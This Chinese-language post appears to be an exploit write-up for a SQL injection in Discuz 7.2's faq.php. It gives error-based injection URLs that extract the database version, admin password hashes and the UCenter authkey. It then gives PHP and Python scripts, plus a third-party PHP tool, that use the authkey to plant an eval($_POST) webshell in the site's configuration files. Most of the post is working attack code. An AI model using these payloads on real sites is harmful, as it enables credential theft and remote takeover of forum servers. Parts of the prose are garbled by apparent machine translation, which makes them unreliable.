discuz 7.2 faq.php sql注入了一些研究

6.2号码（可能更早）上网本见exp，是一家discuz 7.2的sql注入漏洞

经过反复研究。最高在线人数exp它们存在于这些或那些问题，经过我自己的使用和变更摘要，使用的方法如以下：

Discuz 7.2 /faq.php SQL注入漏洞

1.获取数据库版本号信息

faq.php?

action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema

.tables group by x)a)%23

2.获取管理员账户password

faq.php?

action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)%23

要去掉最后的1

如：

http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

返回：

Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key'

密文就是f426eaa50a5c805d360ca4046419c6ba

3.获取key

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

这里须要注意

因为authkey的长度限制，仅仅能是62个长度单位，而且因为不能改动exp内容（改动后不能暴库）。所以採用两次获取的的方法。先获取前62位，在获取后2位

如

http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

返回：

Error: Duplicate entry '1:C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se' for key 'group_key'

http://XXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

返回：

Error: Duplicate entry '1:o6:' for key 'group_key'

最后的key就是"C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se"+"o6"=C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2seo6

获得了hash和key之后本想參考那利用key getshell的办法，但一看是x2 x2.5 x3的利用漏洞，一共同拥有两个版本号的

PHP 版

<?php

// 代码版权归原作者全部！

    $timestamp = time()+10*3600;

    $host="127.0.0.1";

    $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";

    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?

>

<root>

 <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>

</root>';

    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">http://aaa</item>

</root>';

    $html1 = send($cmd1);

    echo $html1;

    $html2 = send($cmd2);

    echo $html2;

function send($cmd){

    global $host,$code;

    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";

    $message .= "Accept: */*\r\n";

    $message .= "Referer: ".$host."\r\n";

    $message .= "Accept-Language: zh-cn\r\n";

    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    $message .= "Host: ".$host."\r\n";

    $message .= "Content-Length: ".strlen($cmd)."\r\n";

    $message .= "Connection: Close\r\n\r\n";

    $message .= $cmd;

	//var_dump($message);

    $fp = fsockopen($host, 80);

    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))

        $resp .= fread($fp, 1024);

    return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = $ckey_length ?

($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ?

$expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    $string_length = strlen($string);

    $result = '';

    $box = range(0, 255);

    $rndkey = array();

    for($i = 0; $i <= 255; $i++) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

    for($j = $i = 0; $i < 256; $i++) {

        $j = ($j + $box[$i] + $rndkey[$i]) % 256;

        $tmp = $box[$i];

        $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

    if($operation == 'DECODE') {

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

            return substr($result, 26);

        } else {

                return '';

            }

    } else {

        return $keyc.str_replace('=', '', base64_encode($result));

    }

}

?>

一个paython版

#! /usr/bin/env python

#coding=utf-8

import hashlib

import time

import math

import base64

import urllib

import urllib2

import sys

def microtime(get_as_float = False) :

    if get_as_float:

        return time.time()

    else:

        return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

    ckey_length = 4

    key = hashlib.md5(key).hexdigest()

    keya = hashlib.md5(key[0:16]).hexdigest()

    keyb = hashlib.md5(key[16:32]).hexdigest()

    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]

    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

    key_length = len(cryptkey)

    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

    string_length = len(string)

    result = ''

    box = range(0, 256)

    rndkey = dict()

    for i in range(0,256):

        rndkey[i] = ord(cryptkey[i % key_length])

    j=0

    for i in range(0,256):

        j = (j + box[i] + rndkey[i]) % 256

        tmp = box[i]

        box[i] = box[j]

        box[j] = tmp

    a=0

    j=0

    for i in range(0,string_length):

        a = (a + 1) % 256

        j = (j + box[a]) % 256

        tmp = box[a]

        box[a] = box[j]

        box[j] = tmp

        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

    return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

    '''

    发送命令获取webshell

    '''

    headers={'Accept-Language':'zh-cn',

    'Content-Type':'application/x-www-form-urlencoded',

    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

    'Referer':url

    }

    tm = time.time()+10*3600

    tm="time=%d&action=updateapps" %tm

    code = urllib.quote(get_authcode(tm,key))

    url=url+"?code="+code

    data1='''<?

xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>

            </root>'''

    try:

        req=urllib2.Request(url,data=data1,headers=headers)

        ret=urllib2.urlopen(req)

    except:

        return "訪问出错"

    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://aaa</item>

            </root>'''

    try:

        req=urllib2.Request(url,data=data2,headers=headers)

        ret=urllib2.urlopen(req)

    except:

        return "error"

    return "webshell:"+host+"/config/config_ucenter.php,password:1"

if __name__ == '__main__':

    host=sys.argv[1]

    key=sys.argv[2]

    url=host+"/api/uc.php"

    print get_shell(url,key,host)

用法：

python uckey.py http://www.localhost.com/ uckey

可是发现好像不能通杀7.2。getshell并没有成功，不知道为什么，还请大家多不吝赐教。

最后附上“小马”的exp。但效果也不理想。大致远离同上，可是貌似也不能getshell

<?

php

/**

 * @author: xiaoma

 * @blog  : www.i0day.com

 * @date  : 2014.7.2 23:1

 */

error_reporting(0);

set_time_limit(3000);

$host=$argv[1];

$path=$argv[2];

$js=$argv[3];

$timestamp = time()+10*3600;

$table="cdb_";//表名

if ($argc < 2) {

    print_r('

  ********************************************************

  *  Discuz faq.php SQL Injection Exp                    *

  *  ---------By：Www.i0day.com-----------               *

  *     Usage: php '.$argv[0].' url 1                    *

  *  -------------------------------------               *

  *  js选项: 1.GetShell 2.取密码 3.查表前缀              *

  *                                                      *

  *   php '.$argv[0].' Www.i0day.com / 1                    *

  *   php '.$argv[0].' Www.i0day.com /dz72/ 1               *

  *                                                      *

  *                                                      *

  ********************************************************

     ');

     exit;

}

if($js==1){

    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";

    $resp = sendpack($host,$path,$sql);

    if(strpos($resp,"::")==-1){

        echo '表前缀可能不是默认cdb_ 请先查看表前缀！

';

    }else{

    preg_match("/::(.*)::/",$resp,$matches);

    $lenght=intval($matches[1]);

    if($lenght){

        if($lenght<=124){

            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";

            $resp = sendpack($host,$path,$sql);

            if(strpos($resp,"1\^")!=-1){

                preg_match("/1\^(.*)\'/U",$resp,$key1);

            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";

            $resp = sendpack($host,$path,$sql);

            preg_match("/1\^(.*)\'/U",$resp,$key2);

            $key=$key1[1].$key2[1];

            $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));

            $cmd1='<?

xml version="1.0" encoding="ISO-8859-1"?

>

<root>

 <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>

</root>';

            $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">bbs.49you.com</item>

</root>';

            $html1 = send($cmd1);

            $res1=substr($html1,-1);

            $html2 = send($cmd2);

            $res2=substr($html1,-1);

            if($res1=='1'&&$res2=='1'){

            echo "shell地址：http://".$host.$path.'config.inc.php   pass:i0day';

            }

            }else{

                echo '获取失败';

            }

        }

    }

   }        

}elseif($js==2){

    $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";

    $resp = sendpack($host,$path,$sql);

    if(strpos($resp,"\^\^\^")!=-1){

        preg_match("/\^\^\^(.*)\^/U",$resp,$password);

        echo '密码：'.$password[1];

        }else{

            echo '表前缀可能不是默认cdb_ 请先查看表前缀！';

        }

}elseif($js==3){

    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";

    $resp = sendpack($host,$path,$sql);

    if(strpos($resp,"1\^")!=-1){

        preg_match("/1\^(.*)\^/U",$resp,$t);

        if(strpos($t[1],"cdb_")!=-1){

            echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需改动";

        }else{

            echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行改动代码中的$table';

        }

    }else{

        echo "查看表前缀失败,Sorry";

    }

}else{

    echo "未选择脚本功能";

}

function sendpack($host,$path,$sql,$js){

       $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";

        $data.="Host:".$host."\r\n";

        $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";

        $data.="Connection: close\r\n\r\n";

        //$data.=$html."\r\n";

        $ock=fsockopen($host,80);

        if(!$ock){

        echo "No response from ".$host;

        die();

        }

        fwrite($ock,$data);

        $resp = '';

        while (!feof($ock)) {

                $resp.=fread($ock, 1024);

                }

        return $resp;

}

function send($cmd){

    global $host,$code,$path;

    $message = "POST ".$path."/api/uc.php?

code=".$code."  HTTP/1.1\r\n";

    $message .= "Accept: */*\r\n";

    $message .= "Referer: ".$host."\r\n";

    $message .= "Accept-Language: zh-cn\r\n";

    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    $message .= "Host: ".$host."\r\n";

    $message .= "Content-Length: ".strlen($cmd)."\r\n";

    $message .= "Connection: Close\r\n\r\n";

    $message .= $cmd;

    //var_dump($message);

    $fp = fsockopen($host, 80);

    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))

        $resp .= fread($fp, 1024);

    return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ?

$key : UC_KEY);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = $ckey_length ? ($operation == 'DECODE' ?

substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    $string_length = strlen($string);

    $result = '';

    $box = range(0, 255);

    $rndkey = array();

    for($i = 0; $i <= 255; $i++) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

    for($j = $i = 0; $i < 256; $i++) {

        $j = ($j + $box[$i] + $rndkey[$i]) % 256;

        $tmp = $box[$i];

        $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

    if($operation == 'DECODE') {

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

            return substr($result, 26);

        } else {

                return '';

            }

    } else {

        return $keyc.str_replace('=', '', base64_encode($result));

    }

}

function hex2str($hex){

    $str = '';

    $arr = str_split($hex, 2);

    foreach($arr as $bit){

        $str .= chr(hexdec($bit));

    }

    return $str;

    }

?

>

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